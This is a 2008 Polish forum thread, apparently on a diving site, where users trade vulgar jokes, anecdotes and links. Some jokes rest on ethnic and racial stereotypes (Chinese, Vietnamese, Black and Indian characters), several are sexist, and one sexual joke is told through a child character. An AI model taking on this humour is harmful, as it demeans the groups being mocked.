No bo przeciez nie o to .... jak to sie nazywa ... cod na "z", "zoo", "zoo" -costam ...

j@cek - 14-02-2008, 21:36

jcsjacekj napisał/a:
silver111 napisał/a:
- Male, female, sometimes camel...


Rozumiem, ze po seksie pali zawsze "Camele" ?



To raczej "wali" zamiast "pali" :)

Dany - 06-03-2008, 00:26

Politechnika. Egzamin z fizyki. Profesor, który wstał lewą nogą zaczyna pytać pierwszego delikwenta.
- Jedzie pan autobusem i jest straszliwie gorąco. Co pan zrobi?

- Otworzę okno.

- Bardzo dobrze - mówi profesor - A teraz proszę wyliczyć jakie zmiany w aerodynamice autobusu zajdą po otwarciu okna?

- ?

- Dziękuję panu. Dwója. Następny proszę.

Wchodzi drugi student. Dostaje to samo pytanie, ten sam stopień i wychodzi.

Po godzinie wynik meczu profesor vs studenci brzmi 9 : 0. Jako 10 wchodzi śliczna studentka. Profesor pyta:

- Jedzie pani autobusem i jest straszliwie gorąco. Co pani robi?

- Zdejmuję bluzkę. - odpowiada studentka.

- Pani mnie nie zrozumiała. Jest naprawdę bardzo gorąco.

- To jeszcze zdejmuję spódnicę.

- Ale żar jest nie do zniesienia - dalej utrudnia profesor.

- To zdejmuję stanik.

Profesor aż oniemiał z wrażenia a studentka mówi:

- Panie profesorze mogę jeszcze zdjąć majtki ale nawet jakby mnie mieli wy..uchać wszyscy faceci w autobusie to okna nie otworzę.

Efraim Ryba - 07-03-2008, 09:23

Wygrzebane na funiastych:

Szef chińskiej mafii mówi do swego zastępcy:
- Czang, weź dwudziestu ludzi na mokrą robotę.
- Dobrze. A co będziemy robić?
- Sadzić ryż.

[ Dodano: 07-03-2008, 10:24 ]
- Poruczniku - zapytali kiedyś Rżewskiego - ile pan zna sposobów wiązania krawata?
- Trzy: na szyi, na ręce, na nodze... A, nie! Cztery, cztery znam!

[ Dodano: 07-03-2008, 10:28 ]
Rżewski wygrał na loterii. Zamówił kawior, szampana. Impreza na całego. Damy, oficerowie piją i tańczą. Zniesmaczony kornet pyta:
- Panie poruczniku, nie szkoda panu pieniędzy? Przecież nic nie zostanie...
- Zostanie, zostanie - mówi Rżewski. - Ot, na przykład - niedawno spotkałem i pokochałem pewną damę. Ona dała mi pieniądze. Za te pieniądze kupiłem los na loterii. Wygrałem. Piję i poznałem pewną damę. Kupię los... I tak w kółko kornet, i tak w kółko...

Dany - 17-03-2008, 20:22

Przepis na kurczaka.
Kurczaka bardzo starannie umytego układamy na dnie naczynia, najlepiej szklanego.
Dodajemy gozdziki i cynamon, skrapiamy cytryną.
Tak przygotowanego kurczaka zalewamy szklanka wina bialego,
szklanka wina czerwonego, dodajac 100 g ginu, 100 g koniaku, 200 g Smirnoffa i 50 g rumu.
Potrawy nie musimy nawet poddawac obrobce cieplnej.
Kurczaka mozliwie jak najszybciej wypier..lamy bo jest chu.owy
Natomiast................ Sos! Sos! ...Paluszki lizac !!!

PS. kurczak musi być martwy bo inaczj bydle coś wychleje.

[ Dodano: 18-03-2008, 22:03 ]
Pewnego razu pastuch przepedzal swoje owce z jednego pastwiska na drugie. Nagle, w kłębach kurzu i z rykiem silnika zatrzymalo sie przy nim nowiutkie BMW. Kierwcą byl mlody czlowiek w garniturze Prada, butach Gucci, okularach Dior itd, itd. Typowy yuppie. Koles wystawil sie przez opuszczana szybkę i pyta:

- Czy jeżeli powiem Ci ile dokladnie masz owiec w stadzie, dasz mi jedna z nich?

Owczarz popatrzył na facia, na swoje stado i odpowiedzial:

- Jasne, czemu nie?

Yuppie zaparkował samochód. Wyciągnął notebook DELL podlaczony do komórki AT&T. Polaczyl sie z internetem, wszedl na strone NASA i za pomocą GPS dokładnie określił swoja pozycje. Podal ja do innego satelity NASA, który zrobił zdjęcie obszaru w wysokiej rozdzielczosci. Mlody człowiek otworzył zdjęcie używając Adobe Photoshop, przekonwertowl plik i wysłał go do centrum obrobki zdjec cyfrowych w Hamburgu. Po kilku sekundach na palmtopa przyszedl mail informujacy go, ze zdjęcie zostało obrobione i podajacy adres, pod ktorym zostaly zmagazynowane dane. Koleś wszedł wiec do bazy danych SQL i sciagnal dane, a następnie nakarmił nimi arkusz Excel wypchany setkami skomplikowanych formułek. Po otrzymaniu wyniku wydrukowal na swojej mini drukarce HP LaserJet pełny 150- stronicowy raport. Podal go pastuchowi i powiedział:

- Masz w stadzie 1586 owiec.

- To prawda - powiedzial owczarz. - Jak przypuszczam, chcesz teraz wybrać sobie jedna z nich?

Stal spokojnie, obserwujac mlodego czlowieka rozgladajacego sie wśród stada, wybierającego zwierzaka, a nastepnie ladujacego go do bagażnika nowiutkiego BMW. Po czym odezwal sie znowu:

- Hej, a jak Ci powiem jaki jest Twoj zawod, to oddasz mi zwierzka?

Yuppie pomyślał przez chwilke, a nastepnie odparł:

- Jasne, czemu nie?

- Jesteś konsultantem ds rolnictwa w Unii Europejskiej - powiedzial pastuch.

- O rany, niesamowite! Jak zgadles?

- Nie musiałem zgadywać - rzekł owczarz. - Zjawiles sie tutaj nie wzywany, żądając zapłaty za odpowiedz, ktora znalem, na pytanie, którego nigdy nie zadawalem. A w dodatku gowno wiesz o mojej robocie. Oddawaj psa!

DarekP - 23-03-2008, 14:55

W przedszkolu Jasiu siedzi na nocniczku i płacze.
- Dlaczego płaczesz? - pyta pani wychowawczyni
- Bo pani Zosia powiedziała, że jak ktoś nie zrobi kupki to nie pójdzie na spacer.
- I co? Nie możesz zrobić...
- Ja zrobiłem, ale Wojtek mi ukradł !!!

Jaki jest szczyt ubóstwa?
W zimnym, ciemnym, pustym pokoju w akademiku siedzi głodny, wychudzony student i ceruje prezerwatywę.

Najnowsze badania mówią, że 3 na 10 Polaków żyje w stresie... pozostałych 7 - w Londynie...

Pomyśleć, sąsiedzie, że wasz Maniuś się dziś żeni! A jeszcze wczoraj raczkowało to na czworakach po podwórku, taplało się w kałużach, gaworzyło...
- Wieczór kawalerski wczoraj miał.

2-dwaj mali chłopcy stoją przed kościołem, z którego wychodzą właśnie nowożeńcy. Jeden z chłopców mówi:
- Patrz jaki teraz będzie czad!
Po czym biegnie do pana młodego i wola:
Tato, tato!

[ Dodano: 04-04-2008, 21:42 ]
Jasiu podaj przykład dwóch zaimków osobowych.
- Kto? Ja?
- Wspaniale! Siadaj, szóstka!

Młoda para przychodzi do Urzędu Stanu Cywilnego.
Urzędnik pyta:
- Czy jesteście należycie przygotowani do tak ważnego kroku?
- Oczywiście - odpowiada młody kandydat na żonkosia.
Mamy już piętnaście litrów wódki, trzydzieści pięć butelek wina i sześć litrów spirytusu.

- Jasiu, kim chciałbyś być w przyszłości? - pyta pani.
- Żyrafą.
- Żyrafą? Dlaczego?
- Żeby tata nie mógł mnie targać za uszy.

- Tato co to jest?
- To są czarne jagody synku.
- A dlaczego są czerwone?
- Bo są jeszcze zielone.

Spotyka Czerwony Kapturek w lesie wilka i wilk mówi:
- Powiedz mi adres babci to Cię pocałuję tam gdzie jeszcze nikt Cię nie pocałował.
Czerwony Kapturek odpowiada:
- No to chyba w koszyk.

Rozmawia dwóch pijaków:
- Gdy wracam późno do domu, żona ze złością patrzy na zegar.
- To jeszcze nic. Moja patrzy na kalendarz

Dziadek spowiada się w kościele. Ksiądz udzielił mu już rozgrzeszenia i puka w konfesjonał:
- O, ku..a, ale mnie ksiądz przestraszył.

Jasiu chwali się koledze:
- Wiesz, na urodziny dostałem od rodziców rowerek i trąbkę.
- A z czego cieszysz się bardziej?
- Yyy... Chyba z trąbki.
- A dlaczego?
- Bo tata daje mi codziennie 50 zł, żebym przestał grać.

Idzie Jasiu ulicą i spotyka swoja nauczycielkę:
- Witaj Jasiu, czym się zajmujesz?
- Wykładam chemię.
- A gdzie?
- W Biedronce.

Na lekcji pani prosi dzieci o napisanie wierszyka o morzu. Po chwili zgłasza się Jaś i czyta:
- Nad brzegiem morza stała dziewczyna hoża. Nogi miała jak słupy, poziom wody jej sięgał do kolan.
- Jasiu, źle! W ostatniej linijce nie udało Ci się znaleźć rymu.
- Wody przybędzie, to i rym będzie.

kraknur - 07-04-2008, 12:20

Rok 2012.



Armia odrodzonego imperium rosyjskiego podbiła już prawie całąEuropę.


Ostatnie niedobitki NATO rozpaczliwie bronią się na Skale Gibraltarskiej.


Generalissimus Putin podchodzi do ogromnej mapy kontynentu i z dumą

spogląda na swoje zdobycze.


Wszystko moje! - mruczy z zadowoleniem.


Nagle jego uwagę przykuwa niewielka żółta plamka w Przywiślańskim Kraju.


Zadowolenie generalissimusa w mgnieniu oka zmienia się we wściekłość.


Co to jest! - cedzi ze złości poczerwieniały Putin.


Cały sztab generalny zamarł strwożony w bezruchu. Nikt nie ośmielił
się przerwać tej złowieszczej ciszy.


Co to k......a jest! - wrzasnąl Putin.


Na te słowa wystapił głównodowodzący marszałek i bijąc wiernopoddańcze


pokłony z duszą na ramieniu odpowiedział:


Wybaczcie wasza dostojność, to Wietnamczycy nadal bronią warszawskiego
Stadionu...

Efraim Ryba - 11-04-2008, 14:58

Szedł facet ulicą i zobaczył nowy sklep. Myśli sobie: ,,Wpadnę". Wita go uśmiechnięty sprzedawca:
- Dzień dobry. W czym możemy panu pomóc, co chciałby pan kupić?
Facet sie zastanowił i mówi:
- Rękawiczki.
- To proszę podejść do tamtego działu.
Facet idzie do wskazanego działu i mówi:
- Chcę kupić rękawiczki.
- Zimowe czy letnie?
- Zimowe.
- To prosze przejsc do nastepnego dzialu.
Facet poszedl:
- Dzien dobry. potrzebne mi zimowe rekawiczki.
- Skorzane czy nie?
- Skorzane.
- To prosze podejsc do nastepnego dzialu.
Facet poddenerwowany podchodzi do wskazanego stoiska:
- Chce kupic zimowe, skorzane rekawiczki.
- Z klamerka czy bez?
- Z klamerka.
- Prosze podejsc do nastepnego stoiska.
Facet jest juz wkurzony, ale idzie, nic nie mowiac.
- Poprosze rekawiczki,zimowe, skorzane i z klamerka.
- Klamerka na zatrzask czy na rzepy?
- na rzepy.- Zapraszam do dzialu na przeciwko.
Facet nie wytrzymuje i wrzeszczy:
- Prosze przestac sie nade mna znecac! Dajcie mi te rekawiczki i pojde sobie!
- Prosze pana, prosze o cierpliwosc, chcemy panu sprzedac dokladnie takie rekawiczki, jakich pan potrzebuje.
Facet idzie dalej.
- Prosze rekawiczki zimowe, skorzane, z klamerka i na rzepy.
- A jaki kolor?
Nagle otwieraja sie drzwi i do sklepu wchodzi facet z sedesem swiezo wyrwanym z podlogi, od ktorego odstaja kawalki glazury. Niesie go na wyciagnietych rekach, podchodzi do lady i krzyczy:
- Taki mam, k***a sedes, a taka glazure! Dupe juz wam wczoraj pokazalem, wiec sprzedajcie mi wreszcie JAKIKOLWIEK papier toaletowy!

Arecki - 11-04-2008, 16:09

This is a true test which will answer the question ''Who is man's best friend wife or dog? Those of you who have a wife and a dog can try this out



How true

A dog is truly a man's best friend.

If you don't believe it, just try this simple experiment..

Put your dog and your wife in the boot of the car for an hour.

When you open the boot, who is really happy to see you?

Dany - 28-04-2008, 09:01

Czesio, pisząc wypracowanie, pyta Tatę:
- Tato, jak się powinno pisać: Królowa Lodu, czy Królowa Loda?
- To zależy, synu, czy chcesz żeby była postacią negatywną, czy pozytywną

Pisklak - 28-04-2008, 12:06

NIETYPOWA WYCZIECZKA

Jęczydół (zachodnio-pomorskie)

Podróż po Polsce zaczynam od Zimnej Wódki (opolskie). Następnie Burdele (k. Zawoi) skąd jadę do Dziewek (k. Siewierza). W Wielkim Alfonsowie (k. Opoczna) muszę zapłacić mandat. Na trasie trafiam na Nowe Laski (zachodnio-pomorskie) i Nowe Rumunki (mazowieckie). Niby fajnie, ale mijam też Stare Niemyje (podlaskie), Tłuszcz (mazowieckie), Wągry (łódzkie) i Stare Juchy (Mazury).

W końcu decyduję się na Gosie Małe (k. Ambrowa). Przechodzę do Całowania (mazowieckie) i Cyców (k. Lublina). Dokładnie zwiedzam Górne Wymiary i Dolne Wymiary (k. Świecia) oraz Mokrą Lewą i Mokrą Prawą (k. Skierniewic). Na chwilę zatrzymuję się też przy Krzywym Kolanie (kujawsko-pomorskie). Zmęczony podróżą myślę: Tumidaj (łódzkie). I kiedy już mam przejść do Miłosnej (mazowieckie) trafiam na Wielkie Gacie (pomorskie). Skonsternowany patrzę na mapę: zamiast Baby (k. Piotrkowa) i Ruchocic (k. Dymczewa) zjechałem na Wielki Gaj (wielkopolskie).

Koniec (kujawsko-pomorskie).

Jaga19 - 28-04-2008, 13:04

Cytat:
"Pierwszy bym pałkę strzaskał na twej głowie, gdyby nie dziatek pacierze..."

Pisklaku, a skąd ta osobliwa cytata?
Pozdr.Jaga

Pisklak - 28-04-2008, 13:30

Jaga19 napisał/a:
Pisklaku, a skąd ta osobliwa cytata?


Koleżanko, wstyd, nieznajomości klasyka ;-) -> Adam Mickiewicz "Powrót Taty"

Całośc do lektury TU

Jaga19 - 28-04-2008, 16:54

Pisklak napisał/a:
wstyd, nieznajomości klasyka Adam Mickiewicz "Powrót Taty"


Klasyka sobie przyswoję, nie ma sprawy, chyba mnie w szkole nie było na klasyku:-)

A co do wstydu, to jak mawiał inny klasyk spod budki z piwkiem, wstyd to kraść i z baby spaść.

Pozdr. Jaga

MIDZIK - 29-04-2008, 08:18

Koniec XIX w. w przedziale sypialnym pociągu Moskwa - St. Petersburg
siedzą: carski generał, jego adiutant, pop z żoną i małoletnią
córką. W pewnym momencie wstaje adiutant i rzecze do generała:
- Panie generale wyjdę i się odleję!
Po wyjściu adiutanta pop zwraca się ze zgorszeniem do generała:
- Panie generale jak ten adiutant tak może! Jak on do pana się zwraca:
się odleję! Do pana generale, u którego pierś cala w orderach za zasługi
na polu chwały, a on do pana: się odleję! Jak on przy mnie, który co
wieczór modli się za wasze zdrowie i zwycięstwo w okopach może tak
powiedzieć: się odleję! Jak śmie przy mojej żonie, która jako dziewica
ślubowała mi wierność, i która w swych nieskalanych myślach prosi
jedynie Boga o zdrowie wasze tak powiedzieć: się odleję! Córka moja
niewinna duszyczka, w cnocie chowana i na chwalę naszych zwycięstw na
froncie modląca się do Najwyższego, a on przy niej mówi: się odleję! To
tak być nie może! Panie generale proszę uszanować swój i nas honor.
Proszę porozmawiać z adiutantem tak od serca, tak po wojskowemu!
Wraca adiutant i mówi:
- Panie generale się odlałem, legnę sobie!
A generał na to:
- A co ty sobie myślisz a fee psi, że ja to kto, swołocz jaka?! Pierś
mam całą w orderach ja zapierdalał na froncie, a ty tu do mnie mówisz:
się odleję!!!! A tu, u popa na głowie to krowi placek, czy łysina, którą
ma z troski i modlenia się co wieczór za nasze a fee grzechy na
froncie i ty przy nim: się odleję!!!! A żona jego to kurew jaka
przydrożna, która jako młódka dupy nie dając okolicznym sąsiadom
poświeciła się życiu pobożnemu, a ty przy niej: się odleję! A to pachole
nieletnie i niewinne to szkapa jaka nie wyjebana, które nawet i a fee w
paszczu nie miało, a ty przy nim: się odleję!!!! Spierdalaj na górę
kutasie niemyty i zakaz lania do samego St. Petersburga!

The_PiotREX - 29-04-2008, 09:34

Hardcore ;]
Cerberiusz - 29-04-2008, 22:05

:aaa: :aaa: :aaa: :aaa:
Monitor oplułem przez ciebie MIDZIK

Tyran - 04-05-2008, 17:12

Malutki biały facet wchodzi do windy. Jest już tam taaaaaki wieeeeeeeeeeeeeeeeeelki Murzyn. Kiedy winda rusza, Murzyn mówi:
- 2 metry wzrostu, 200 kg wagi, 30 cm penis, 2 kg lewe jądro, 2 kg prawe jądro, Turner Brown.
Malutki facet mdleje! Murzyn podnosi go z podłogi, cuci uderzeniami w twarz, potrząsa nim i pyta:
- Kurcze facet, coś nie tak?
Malutki biały człowieczek odpowiada:
- Przepraszam pana, ale proszę powtórzyć, co pan mówił.
Murzyn patrzy z góry na człowieczka i mówi:
- 2 metry wzrostu, 200 kg wagi, 30 cm penis, 2 kg lewe jądro, 2 kg prawe jądro, nazywam się Turner Brown.
Malutki biały człowiek mówi:
- Dzięki Bogu! Myślałem, że pan mówi Turn around!
--------------------
Żona do Męża:
- Kochanie, od dzisiaj gotujesz, sprzątasz, zajmujesz się dzieckiem - koniec tych tandetnych meczy Extraklasy, filmów w TV, spotkań z kolegami, bilarda i tym podobnych błazeńskich rozrywek... Przerywa spoglądając zdziwiona na Małżonka, który zaczął zakładać buty i kierować się w kierunku wyjścia:
- ... a TY dokąd? Jeszcze nie skończyłam...
- Ide do apteki
- Po co?
- Po Stoperan, bo chyba Cię posrało!
--------------------
Modlitwa wieczorna kobiety:
Ojcze nasz, który jesteś w niebie
Mam taką prośbę wielką dziś do Ciebie
Daj mi faceta i ma być bogaty
Ma mieć Ferrari - za cash nie na raty
Duze mieszkanie, a najlepiej willę
Ma mnie wciąż słuchać, nie tylko przez w chwilę
Ma mnie zadowalać kiedy mam ochotę
Śniadanie mi robić - nie tylko w sobotę
Oglądać romansy, biżuterię kupić
W życiu mym nie będzie mogł się nigdy upić
Nie chce nigdy widzieć jego własnej matki
Ja wydaję kasę - on płaci podatki
On nie ma kolegów - ja mam koleżanki
Kont ma mieć on wiele - okoliczne banki
Złotych kart bez liku, czeków co nie miara
Jak mi to załatwisz - wzrośnie moja wiara.
Modlitwa wieczorna faceta:
Panie mój daj mi głuchoniemą nimfomankę z dużym kontem w banku.
Ma być właścicielką sklepu monopolowego i mieć własny jacht i napalone
koleżanki nimfomanki. Wiem że to się nie rymuje - ale tu nie o rym chodzi ...

styx - 12-05-2008, 09:56

niby nienurkowe, ale... ;)

http://fun.noshit.pl/DIR-2008.05.12/z1.jpg

Dany - 05-06-2008, 14:31

Rozmowa dwóch przyjaciółek:
-Ten mój stary to nie widzi we mnie już kobiety! Przychodzi wieczorem
do domu i tylko: Co jest do żarcia? Zeżre i idzie spać.
-Mam na to sposób, z moim było to samo. Kupiłam sobie seksowna
satynową czarną koszulkę , czarne podwiązki z pończochami i jeszcze
do tego czarną maskę. Wieczorem jak przyszedł z pracy i mnie w tym
zobaczył to mówię ci było boooosko!
Spotykają się po kilku dniach:
-I co, pomogło!?
-Daj spokój, zrobiłam jak mi radziłaś, a on wraca do domu, patrzy na
mnie i wali tekst:
- Cześć Zorro co jest do żarcia?

Jaga19 - 05-06-2008, 16:52

a propos,,co do żarcia" oczami kobiety:
kraknur - 06-06-2008, 12:29

Przyjmuja do pracy anestezjologa. Zglasza sie Niemiec, Francuz i Hindus.
Kryteria sa jasne- trzeba ulozyc zdanie po angielsku ze slowami: green, pink i yelow.
Niemiec: Ich park my yelow BMW with pink stripes on the green.
Francuz: Je se drunk green tea from my yelow cup in the pink bed.
Hindus: Telephon rang: greeeen greeeen, so I pink up the phone and say : Yelow :)

Cerberiusz - 07-06-2008, 10:47

Bez komentarza.
http://pl.youtube.com/wat...re=related

Dany - 07-06-2008, 23:27

Cerberiusz napisał/a:
http://pl.youtube.com/wat...re=related

Ja też odczuwam to co u szczupaka.... k....a

Cerberiusz - 10-06-2008, 16:25

Jak otworzyć piwo nie mając otwieracza:
Link
Polecam.

martin - 10-06-2008, 16:54

Cytat:
Jak otworzyć piwo nie mając otwieracza:


http://stuff.twoday.net/stories/38078/ i tysiac wiecej po lewej stronie.

Pisklak - 04-07-2008, 13:51

Pora grillowania wkrótce się zacznie. W związku z powyższym należy przypomnieć sobie zwyczajowa procedurę postępowania.

Przy tej czynności można odkryć talenty kulinarne mężczyzny, tego prawdziwego. Kiedy tylko mężczyzna samodzielnie proponuje przyrządzanie jedzenia w ten sposób, zostaje uruchomiony pewien łańcuch reakcji (czytać w kolejności).


MEZCZYZNA
1. Mężczyzna przynosi grill i worek z węglem

KOBIETA
2. Kobieta czyści grill
3. Kobieta idzie do spożywczego
4. Kobieta idzie do rzeźnika
5. Kobieta idzie do piekarni
6. Kobieta przygotowuje sałatki i warzywa
7. Kobieta przygotowuje mięso do grillowania
8. Kobieta układa mięso na tacy z koniecznymi sztućcami, przyprawami i marynatami
9. Kobieta przynosi czysty grill oraz tace z mięsem mężczyźnie, który, rozwalony na leżaku koło grilla, popija piwo
10. Mezczyzna uklada mieso na grillu
11. Kobieta wchodzi do domu, aby przygotować stół
12. Kobieta sprawdza czy warzywa ugotowały się
13.Kobieta przygotowuje deser
14. Kobieta wraca , aby powiadomić męża, ze mięso właśnie się pali
15. Mężczyzna zdejmuje przypalone mięso i przynosi kobiecie
16. Kobieta podaje do stołu
17. Mężczyzna serwuje drinki.
18. Kobieta kończy deser i przygotowuje kawę
19. Kobieta podaje deser i kawę
20. Po posiłku kobieta znosi ze stołu i zdejmuje obrus
21. Kobieta myje naczynia i sprząta w kuchni
22. Mężczyzna zostawia grilla, bo węgle są jeszcze gorące
23. Mężczyzna pyta kobietę czy docenia, ze dziś nie musiała gotować obiadu
24. Widząc jej niedowierzające spojrzenie, mężczyzna stwierdza, ze kobiety nigdy nie można zadowolić

martin - 23-07-2008, 12:05

Mówi wnuk do dziadka:
- Kiedyś to mieliście źle. Nie było Internetu, komórek, czatu ani gadu-gadu... Jak ty w ogóle babcię poznałeś ???
- No jak nie było? wszystko to było - odpowiada dziadek.
- Ale jak to?
- No przecież, babcia mieszkała w internacie, a jak wracała ze szkoły, to stałem na czatach, wychodziłem i z babcią gadu-gadu, a jakby nie komórka to i ciebie i twojego ojca by nie było.

Pisklak - 05-08-2008, 07:19

Ślub kościelny, pełny kościół, spięta para młoda.... Nadchodzi czas przysięgi małżeńskiej, ale ksiądz zapomniał, jak ma na imie pan młody. Pyta go więc szeptem: "jak pan ma na imię?" Pan młody zdębiały i zaskoczony....stoi cicho, więc ksiądz powtarza pytanie: "Jak pan ma na imię?" Pan młody z obłędem w oczach nadal stoi cicho. Ksiądz chwycił mikrofon i ponowił głośno pytanie: "Jak pan ma na imię?". Pan młody zaskoczył, zabrał mikrofon księdzu i powiedział z dumą w głosie: "Pan ma na imię Jezus!" ;-)))))) )
olo_ol - 07-08-2008, 15:28

Przeprowadzono ankietę wśród młodzieży, która wykazała, że 42% młodych ludzi patrzy optymistycznie w przyszłość.
Pozostałe 58% nie ma pieniędzy na narkotyki...

jacekplacek - 11-08-2008, 09:15

Polubić Guinnessa
Dany - 11-08-2008, 21:43

..Wczoraj wybrałam sie na imprezę z moimi kolezankami. Powiedziałam mojemu męzowi, ze wroce o połnocy. 'Obiecuje ci kochanie, nie wroce ani minuty pozniej'- powiedziałam i wybyłam. Ale. impreza byla cudowna!!! Drinki, balety, znow drinki, znow balety, i jeszcze więcej drinkow, było tak fajnie, ze zapomniałam o godzinie!!!!.. Kiedy wrociłam do domu była 3 nad ranem. Wchodze do domu, po cichutku otwierając drzwi, a tu słysze tą wscieklą kukułkę w zegarze jak zakukała 3 razy. Kiedy się zorientowalam, ze moj maz się obudzi przy tym kukaniu, dokonczyłam sama kukac jeszcze 9 razy... Bylam z siebie bardzo dumna i zadowolona, ze chociaz pijana w cztery dupy, nagle taki dobry pomysł przyszedł mi do glowy - po prostu uniknęłam awantury z męzem...!!!!!! Szybciutko połozyłam się do łozka, mysląc jaka to ja jestem inteligenta! Ha!!!!!!



.Rano, podczas śniadania, mąz zapytał o której wróciłam z imprezy, więc mu powiedziałam, ze o samiutkiej północy, tak jak mu obiecałam. On od razu nic nie powiedział, nawet nie wyglądał na podejrzliwego. 'Oh, jak dobrze, jestem uratowana....' - pomyślałam i prawie otarłam pot z czoła. Moj maż, po chwili, spojrzał na mnie serio, mówiąc: 'Wiesz, musimy zmienić ten nasz zegar z kukułką'. Zbladłam ze strachu, ale pytam pokornym głosem: 'Taaaak???? A dlaczego, kochanie?' A on na to: Widzisz, dziś w nocy, kukułka zakukała 3 razy, potem - nie wiem jak to zrobiła - krzyknęła 'O ku.wa!' znów zakukała 4 razy, zwymiotowała w korytarzu, zakukała jeszcze 3 razy i padła na podłogę ze śmiechu. Kuknęła jeszcze raz, nastąpnęła na kota i rozwaliła stolik w salonie. A potem, powaliła się koło mnie i kukając ostatni raz - puściła se głośnego bąka i szybko zaczęła chrapać........

$$ - 18-08-2008, 14:14

Pan Hrabia udał się na pierwsze zimowe polowanie, wraca po miesiącu, a tu przed dworkiem na świeżutkim śniegu napis wykonany bursztynowym płynem. Chodzi i myśli kto mógł to zrobić, no zupełnie nikt, służba nie umie pisać. Pyta Jana służącego kto wysikał napis? Jan bez żenady odpowiada, JA. Ależ Janie ty nie umiesz pisać, ja nie ale Pani Hrabina tak.

pozdrawiam rc

Dany - 27-08-2008, 23:59

W pubie

W pubie o bardzo ciemnym wnetrzu siedzi przy barze znudzony facet i
popija drinka.. Czuje, ze obok tez ktos siedzi, wiec zagaduje:
- Eee, opowiedziec ci dowcip o blondynce?
Na to glos (kobiecy):
- No mozesz. Ale musisz wiedziec, ze jestem blondynka 1,80 wzrostu i 70
kg wagi i jestem naprawde silna. A obok mnie siedzi tez blondynka, 1,90
wzrostu, 80 kg wagi i podnosi na codzien ciezary. A jeszcze dalej przy
barze siedzi tez blondynka, 2 metry wzrostu. To mistrzyni w kick-boxingu.
Dalej chcesz opowiedziec ten dowcip?
- Facet pociaga powoli ze szklanki, mysli i mowi:
- Nie, juz nie... Pier..le, nie bede go trzy razy tlumaczyć.

Mateusz - 03-09-2008, 20:02


jacekplacek - 03-09-2008, 21:37

Jak już zeszło na ulubione postaci, może tego nie znacie:

FotoMiś - 05-09-2008, 23:14

---

W pewnej rodzinie urodziły się pięcioraczki.
Do domu przyszło wielu znajomych aby zobaczyć ten cud natury. Wszyscy oglądali, uśmiechali się i gratulowali rodzicom.
Jeden z gości, kynolog, oglądał noworodki szczególnie dokładnie, przyglądał się im z wielką uwagą. Po dobrej chwili skończył oglądać, zdjął okulary i pewnym głosem pokazując jedno z dzieci rzekł do szczęśliwego ojca:
- Ja bym zostawił tego.

---

TSBarrer - 07-09-2008, 22:32

Siedzi Małgosia cała we krwi.
W ręku trzyma śledzionę a gałki oczne wiszą jej na żyłkach.
- Ja pi****le, ale se kichłam.

Grzyb - 09-09-2008, 09:58


gulumelis - 12-09-2008, 17:35

Zięć przychodzi do domu pijany. W drzwiach mija wkurzoną teściową:
- Jak będziesz tak dalej chlał, to Cię odeślę na botox!
- Chyba się mamusi coś poprzestawiało, jak już to na detoks, a botox to by się mamusi przydał!

krob - 18-09-2008, 15:35

Po naszemu sie nie dalo
A kindergarten class had a homework assignment to find out something exciting and relate it to the class the next day. When the time came to present what they'd found, the first little boy called upon walked up to the front of the class, and with a piece of chalk, made a small white dot on the blackboard and sat back down.

Puzzled the teacher asked him just what it was. "It's a period," said the little boy.

"Well, I can see that," she said, "but what is so exciting about a period?"

"Darned if I know," said the little boy, "But this morning my sister was missing one, Daddy had a heart attack, Mommy fainted and the man next door shot himself."

gladius - 19-09-2008, 20:40

Clarkson Island

Tylko dla fanów Top Gear.

sabina - 28-09-2008, 10:11

Pani w szkole pyta dzieci, jakie mają zwierzątka. Piotruś opowiada o chomiku, Jola o patyczaku... Jasiu milczy dramatycznie. Pani zaciekawiona pyta:"Jasiu, a Ty masz jakieś zwierzątko?"
- Miaaałem kiedyś koooota - odpowiada Jasiu - ale go z tatusiem zabiliśmy, bo ja mleka nie piję, tatuś mleka nie pije to dla jednego kota kupować nie będziemy, nie?
Pani zszokowana, ale nie daje za wygraną: " A piesek, nie masz Jasiu pieska?"
- Miaaałem kiedyś pieeeeska - odpowiada Jasiu totalnie wyluzowany - ale go z tatusiem zabiliśmy, bo ja mięsa nie jem, tatuś teżno to przecież dla jednego psa nie będziemy mięsa kupować, nie?
Pani zdruzgotana krzyczy:" Jasiu! co Ty mówisz, przyjdź jutro do szkoły z mamusią!"
- Miałem kiedyś mamuuusię - odpowiada Jasiu - ale tatuś już nie bzyka, ja jeszcze nie bzykam, to dla sąsiada nie będziemy trzymać, tak?

Dany - 29-09-2008, 01:10

Poniedziałek
Porwaliśmy samolot na lotnisku w Moskwie, pasażerowie jako zakładnicy.
Żądamy miliona dolarów i lotu do Meksyku.

Wtorek.
Czekamy na reakcję władz. Napiliśmy się z pilotami. Pasażerowie wyciągnęli
zapasy. Napiliśmy się z pasażerami. Piloci napili się z pasażerami.

Środa
Przyjechał mediator. Przywiózł wódkę. Napiliśmy się z mediatorem,
pilotami i
pasażerami. Mediator prosił, żebyśmy wypuścili połowę pasażerów.
Wypuściliśmy, a co tam.

Czwartek
Pasażerowie wrocili z zapasami wodki. Balanga do rana. Wypuściliśmy drugą
połowę pasażerów i pilotów.

Piątek
Druga połowa pasażerów i piloci wrócili z gorzałą. Przyprowadzili masę
znajomych. Impreza do rana.

Sobota
Do samolotu wpadł specnaz. Z wódką. Balanga do poniedziałku.

Poniedziałek
Do samolotu pakują się coraz to nowi ludzie z gorzałą. Jest milicja, są
desantowcy, strażacy, nawet jacyś marynarze.

Wtorek
Nie mamy sił. Chcemy się poddać i uwolnić samolot. Specnaz się nie zgadza.
Do pilotów przyleciała na imprezę rodzina z Władywostoku. Z wódką.

Środa
Pertraktujemy. Pasażerowie zgadzają się nas wypuścić, jeśli załatwimy
wódkę.

[ Dodano: 29-09-2008, 08:01 ]
...to jednak dowcip nurkowy - lecieli na Cenoty, tylko wątroby im spuchły...

styx - 02-10-2008, 21:41

Ewa w raju nie usłuchała zakazu Stwórcy i za namową węża zerwała jabłko z drzewa. Za ten czyn została wraz z Adamem wyrzucona za bramę raju. Na odchodne Ewa usłyszała głos z góry:
- Za ten czyn zapłacisz krwią!
Po kilku dniach Ewa natknęła się na tego samego węża, który ją namówił do zerwania jabłka i mówi:
- Przez Ciebie teraz będę musiała płacić krwią!
- Oj, nie marudź! - mówi wąż. - Wynegocjowałem Ci to w dogodnych miesięcznych ratach.

Mania - 08-10-2008, 15:03

To nie dowcip, a [prawdziwa wymiana zdan. Choc nadaje sie tylko do czesci dowcipy:

Ludwik Dorn(wciaz PiS): PiS to dwór dwóch eunuchów otaczających sułtana Kaczyńskiego
